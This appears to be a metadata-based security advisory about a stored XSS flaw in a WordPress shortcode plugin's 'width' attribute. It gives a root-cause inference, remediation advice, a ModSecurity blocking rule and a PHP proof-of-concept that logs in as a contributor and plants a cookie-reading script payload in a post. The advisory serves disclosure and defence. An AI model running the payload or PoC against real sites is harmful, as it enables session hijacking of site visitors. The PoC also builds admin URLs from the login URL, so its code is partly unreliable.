Atomic Edge analysis of CVE-2026-1851 (metadata-based):
This vulnerability is an authenticated Stored Cross-Site Scripting (XSS) flaw in the iVysilani Shortcode WordPress plugin, affecting all versions up to and including 3.0. The vulnerability exists within the plugin’s shortcode handler, specifically in the processing of the ‘width’ attribute. Attackers with Contributor-level permissions or higher can inject malicious scripts into posts or pages, which execute when a user views the compromised content. The CVSS score of 6.4 (Medium severity) reflects the attack’s network accessibility, low complexity, and requirement for low-level authentication, with scope changed and impacts on confidentiality and integrity.
Atomic Edge research infers the root cause is improper neutralization of user input (CWE-79). The vulnerability description states insufficient input sanitization and output escaping for the ‘width’ shortcode attribute. This indicates the plugin’s shortcode callback function likely directly echoes or prints the unsanitized ‘width’ attribute value into the page output without proper escaping functions like `esc_attr()`. The conclusion about missing sanitization and escaping is inferred from the CWE classification and standard WordPress security practices, as the source code is unavailable for confirmation.
Exploitation requires an authenticated attacker with at least Contributor-level access. The attacker creates or edits a post, inserting the plugin’s shortcode with a malicious ‘width’ attribute payload. For example, the shortcode `[ivysilani width=”100″ onload=”alert(document.cookie)”]` could be used. When the post is saved and subsequently viewed by any user, the injected JavaScript executes in the victim’s browser context. The attack vector is the WordPress post editor; the specific endpoint is the post creation/update action handled by `/wp-admin/post.php` or the REST API, with the malicious payload embedded in the post content.
Remediation requires implementing proper output escaping. The plugin must escape the ‘width’ attribute value before outputting it into HTML attributes, using WordPress core functions like `esc_attr()`. Additionally, input validation should be applied to ensure the ‘width’ value conforms to expected data types, such as a numeric value with an optional unit. A patch would involve modifying the shortcode handler function to apply these security measures. Without the patched version, this inference is based on the CWE and standard WordPress secure coding practices.
The impact of successful exploitation is the execution of arbitrary JavaScript in the context of a victim user’s browser. This can lead to session hijacking (cookie theft), defacement of pages, redirection to malicious sites, or actions performed on behalf of the victim user. For site administrators, this could facilitate privilege escalation or full site compromise. The stored nature of the attack amplifies impact, as the payload executes for every visitor to the infected page.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-1851 (metadata-based)
# This rule targets the storage of malicious shortcode attributes via the WordPress post editor.
# It blocks POST requests to the post update handler when the content contains the ivysilani shortcode with a 'width' attribute that includes dangerous characters.
SecRule REQUEST_URI "@streq /wp-admin/post.php"
"id:20261851,phase:2,deny,status:403,chain,msg:'CVE-2026-1851: iVysilani Shortcode Stored XSS via width attribute',severity:'CRITICAL',tag:'CVE-2026-1851',tag:'WordPress',tag:'Plugin:iVysilani-Shortcode',tag:'Attack:XSS'"
SecRule ARGS_POST:action "@streq editpost" "chain"
SecRule ARGS_POST:content "@rx \[ivysilani[^\]]*width\s*=\s*['"]?[^'"\s>]*[\s\"'>]"
"t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,ctl:auditLogParts=+E"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1851 - iVysilani Shortcode <= 3.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'width' Shortcode Attribute
<?php
// Configuration
$target_url = 'http://target-site.local/wp-login.php';
$username = 'contributor';
$password = 'password';
$exploit_post_id = 123; // ID of a post the contributor can edit
// Payload: XSS via the 'width' attribute of the ivysilani shortcode.
// The payload closes the width attribute and adds an event handler.
$malicious_shortcode = '[ivysilani width="100" onload="alert(`XSS: `+document.cookie)"]';
// Initialize cURL session for cookie handling
$ch = curl_init();
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Step 1: Authenticate to WordPress
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
$login_fields = [
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
];
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_fields));
$response = curl_exec($ch);
// Step 2: Retrieve the edit page for the target post to obtain a valid nonce.
// Assumption: The plugin uses standard WordPress nonces for post updates.
$edit_page_url = $target_url . '/wp-admin/post.php?post=' . $exploit_post_id . '&action=edit';
curl_setopt($ch, CURLOPT_URL, $edit_page_url);
curl_setopt($ch, CURLOPT_POST, false);
$edit_page = curl_exec($ch);
// Extract the nonce for updating the post. This regex looks for the '_wpnonce' field.
// In a real scenario, a more robust method (like DOM parsing) is preferred.
preg_match('/name="_wpnonce" value="([a-f0-9]+)"/', $edit_page, $nonce_matches);
$nonce = $nonce_matches[1] ?? '';
if (empty($nonce)) {
die('Failed to extract nonce. Authentication may have failed or post ID is incorrect.');
}
// Step 3: Update the post content with the malicious shortcode.
// Assumption: The post update is performed via the standard admin-post.php or post.php endpoint.
$update_url = $target_url . '/wp-admin/post.php';
$update_fields = [
'post_ID' => $exploit_post_id,
'content' => $malicious_shortcode,
'_wpnonce' => $nonce,
'_wp_http_referer' => $edit_page_url,
'action' => 'editpost',
'save' => 'Update'
];
curl_setopt($ch, CURLOPT_URL, $update_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($update_fields));
$update_response = curl_exec($ch);
// Check for success (simplified)
if (strpos($update_response, 'Post updated.') !== false) {
echo "PoC likely successful. The post now contains the malicious shortcode.n";
echo "Visit the post to trigger the XSS payload.n";
} else {
echo "Post update may have failed. Check authentication and permissions.n";
}
curl_close($ch);
?>